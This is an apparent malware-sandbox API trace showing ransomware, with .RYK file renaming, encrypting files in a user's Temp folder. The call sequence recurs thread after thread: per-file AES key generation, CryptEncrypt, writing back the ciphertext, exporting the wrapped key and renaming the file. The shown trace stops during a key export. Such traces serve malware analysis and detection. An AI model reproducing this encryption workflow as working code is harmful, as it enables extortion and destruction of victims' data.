	[0255.807] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3442
	os_tid = 0x3b7c

	[0255.814] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 1
	[0255.814] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.815] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.815] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3443
	os_tid = 0x3b80

	[0255.816] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv", dwFileAttributes=0x80) returned 1
	[0255.817] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0255.817] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x8f9f978 | out: lpFileSize=0x8f9f978*=102054) returned 1
	[0255.817] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x8f9f988 | out: lpFileSize=0x8f9f988*=102054) returned 1
	[0255.817] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x18d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.817] ReadFile (in: hFile=0x69c, lpBuffer=0x8f9f9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f9f940, lpOverlapped=0x0 | out: lpBuffer=0x8f9f9d0*, lpNumberOfBytesRead=0x8f9f940*=0x19, lpOverlapped=0x0) returned 1
	[0255.819] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.819] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8f9f958 | out: phKey=0x8f9f958*=0x3f8030) returned 1
	[0255.819] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.819] ReadFile (in: hFile=0x69c, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x18ea6, lpNumberOfBytesRead=0x8f9f964, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x8f9f964*=0x18ea6, lpOverlapped=0x0) returned 1
	[0255.821] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f9f960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f9f960*=0xf4250) returned 1
	[0255.821] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x8f9f968*=0x18ea6, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x8f9f968*=0x18eb0) returned 1
	[0255.822] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.822] WriteFile (in: hFile=0x69c, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x18eb0, lpNumberOfBytesWritten=0x8f9f964, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x8f9f964*=0x18eb0, lpOverlapped=0x0) returned 1
	[0255.823] WriteFile (in: hFile=0x69c, lpBuffer=0x8f9f990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f9f970, lpOverlapped=0x0 | out: lpBuffer=0x8f9f990*, lpNumberOfBytesWritten=0x8f9f970*=0x6, lpOverlapped=0x0) returned 1
	[0255.823] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f9f980 | out: pbData=0x0*, pdwDataLen=0x8f9f980*=0x10c) returned 1
	[0255.823] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f9f9f0, pdwDataLen=0x8f9f980 | out: pbData=0x8f9f9f0*, pdwDataLen=0x8f9f980*=0x10c) returned 1
	[0255.823] WriteFile (in: hFile=0x69c, lpBuffer=0x8f9f9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f9f970, lpOverlapped=0x0 | out: lpBuffer=0x8f9f9f0*, lpNumberOfBytesWritten=0x8f9f970*=0x10c, lpOverlapped=0x0) returned 1
	[0255.823] CloseHandle (hObject=0x69c) returned 1
	[0255.825] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0255.825] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3444
	os_tid = 0x3b84

	[0255.830] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0255.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.831] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3445
	os_tid = 0x3b88

	[0255.832] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif", dwFileAttributes=0x80) returned 1
	[0255.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0255.833] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x938fcf8 | out: lpFileSize=0x938fcf8*=46878) returned 1
	[0255.833] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x938fd08 | out: lpFileSize=0x938fd08*=46878) returned 1
	[0255.833] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0xb5fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.833] ReadFile (in: hFile=0x69c, lpBuffer=0x938fd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x938fcc0, lpOverlapped=0x0 | out: lpBuffer=0x938fd50*, lpNumberOfBytesRead=0x938fcc0*=0x19, lpOverlapped=0x0) returned 1
	[0255.835] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.835] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x938fcd8 | out: phKey=0x938fcd8*=0x3f8030) returned 1
	[0255.835] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.835] ReadFile (in: hFile=0x69c, lpBuffer=0x3280000, nNumberOfBytesToRead=0xb71e, lpNumberOfBytesRead=0x938fce4, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesRead=0x938fce4*=0xb71e, lpOverlapped=0x0) returned 1
	[0255.836] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x938fce0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x938fce0*=0xf4250) returned 1
	[0255.836] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x938fce8*=0xb71e, dwBufLen=0xf4250 | out: pbData=0x3280000*, pdwDataLen=0x938fce8*=0xb720) returned 1
	[0255.836] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.836] WriteFile (in: hFile=0x69c, lpBuffer=0x3280000*, nNumberOfBytesToWrite=0xb720, lpNumberOfBytesWritten=0x938fce4, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesWritten=0x938fce4*=0xb720, lpOverlapped=0x0) returned 1
	[0255.837] WriteFile (in: hFile=0x69c, lpBuffer=0x938fd10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x938fcf0, lpOverlapped=0x0 | out: lpBuffer=0x938fd10*, lpNumberOfBytesWritten=0x938fcf0*=0x6, lpOverlapped=0x0) returned 1
	[0255.837] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x938fd00 | out: pbData=0x0*, pdwDataLen=0x938fd00*=0x10c) returned 1
	[0255.837] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x938fd70, pdwDataLen=0x938fd00 | out: pbData=0x938fd70*, pdwDataLen=0x938fd00*=0x10c) returned 1
	[0255.837] WriteFile (in: hFile=0x69c, lpBuffer=0x938fd70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x938fcf0, lpOverlapped=0x0 | out: lpBuffer=0x938fd70*, lpNumberOfBytesWritten=0x938fcf0*=0x10c, lpOverlapped=0x0) returned 1
	[0255.837] CloseHandle (hObject=0x69c) returned 1
	[0255.839] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0255.839] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jEbUyuJue3PUfdTXjk.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jebuyujue3pufdtxjk.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3446
	os_tid = 0x3b8c

	[0255.840] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4", dwFileAttributes=0x80) returned 0
	[0255.841] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.841] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jSvf1m3yElMB-Sbu17bn.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jsvf1m3yelmb-sbu17bn.mp4.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3447
	os_tid = 0x3b90

	[0255.842] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg", dwFileAttributes=0x80) returned 1
	[0255.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0255.843] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x8e0fab8 | out: lpFileSize=0x8e0fab8*=97516) returned 1
	[0255.843] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x8e0fac8 | out: lpFileSize=0x8e0fac8*=97516) returned 1
	[0255.844] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x17bca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.844] ReadFile (in: hFile=0x69c, lpBuffer=0x8e0fb10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e0fa80, lpOverlapped=0x0 | out: lpBuffer=0x8e0fb10*, lpNumberOfBytesRead=0x8e0fa80*=0x19, lpOverlapped=0x0) returned 1
	[0255.845] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.845] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8e0fa98 | out: phKey=0x8e0fa98*=0x3f8030) returned 1
	[0255.845] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.846] ReadFile (in: hFile=0x69c, lpBuffer=0x3480000, nNumberOfBytesToRead=0x17cec, lpNumberOfBytesRead=0x8e0faa4, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x8e0faa4*=0x17cec, lpOverlapped=0x0) returned 1
	[0255.847] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8e0faa0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8e0faa0*=0xf4250) returned 1
	[0255.847] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x8e0faa8*=0x17cec, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x8e0faa8*=0x17cf0) returned 1
	[0255.848] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.848] WriteFile (in: hFile=0x69c, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x17cf0, lpNumberOfBytesWritten=0x8e0faa4, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x8e0faa4*=0x17cf0, lpOverlapped=0x0) returned 1
	[0255.849] WriteFile (in: hFile=0x69c, lpBuffer=0x8e0fad0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8e0fab0, lpOverlapped=0x0 | out: lpBuffer=0x8e0fad0*, lpNumberOfBytesWritten=0x8e0fab0*=0x6, lpOverlapped=0x0) returned 1
	[0255.849] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8e0fac0 | out: pbData=0x0*, pdwDataLen=0x8e0fac0*=0x10c) returned 1
	[0255.849] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8e0fb30, pdwDataLen=0x8e0fac0 | out: pbData=0x8e0fb30*, pdwDataLen=0x8e0fac0*=0x10c) returned 1
	[0255.849] WriteFile (in: hFile=0x69c, lpBuffer=0x8e0fb30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8e0fab0, lpOverlapped=0x0 | out: lpBuffer=0x8e0fb30*, lpNumberOfBytesWritten=0x8e0fab0*=0x10c, lpOverlapped=0x0) returned 1
	[0255.849] CloseHandle (hObject=0x69c) returned 1
	[0255.851] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0255.851] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\KsZxIV-1Om7TALU.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\kszxiv-1om7talu.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3448
	os_tid = 0x3b94

	[0255.857] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3", dwFileAttributes=0x80) returned 1
	[0255.857] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0255.858] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x97afad8 | out: lpFileSize=0x97afad8*=2818) returned 1
	[0255.858] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x97afae8 | out: lpFileSize=0x97afae8*=2818) returned 1
	[0255.858] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x9e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0255.858] ReadFile (in: hFile=0x69c, lpBuffer=0x97afb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97afaa0, lpOverlapped=0x0 | out: lpBuffer=0x97afb30*, lpNumberOfBytesRead=0x97afaa0*=0x19, lpOverlapped=0x0) returned 1
	[0255.860] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.860] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x97afab8 | out: phKey=0x97afab8*=0x3f8030) returned 1
	[0255.860] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.860] ReadFile (in: hFile=0x69c, lpBuffer=0x3580000, nNumberOfBytesToRead=0xb02, lpNumberOfBytesRead=0x97afac4, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x97afac4*=0xb02, lpOverlapped=0x0) returned 1
	[0255.860] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x97afac0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x97afac0*=0xf4250) returned 1
	[0255.860] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x97afac8*=0xb02, dwBufLen=0xf4250 | out: pbData=0x3580000*, pdwDataLen=0x97afac8*=0xb10) returned 1
	[0255.860] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0255.860] WriteFile (in: hFile=0x69c, lpBuffer=0x3580000*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x97afac4, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesWritten=0x97afac4*=0xb10, lpOverlapped=0x0) returned 1
	[0255.860] WriteFile (in: hFile=0x69c, lpBuffer=0x97afaf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x97afad0, lpOverlapped=0x0 | out: lpBuffer=0x97afaf0*, lpNumberOfBytesWritten=0x97afad0*=0x6, lpOverlapped=0x0) returned 1
	[0255.861] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x97afae0 | out: pbData=0x0*, pdwDataLen=0x97afae0*=0x10c) returned 1
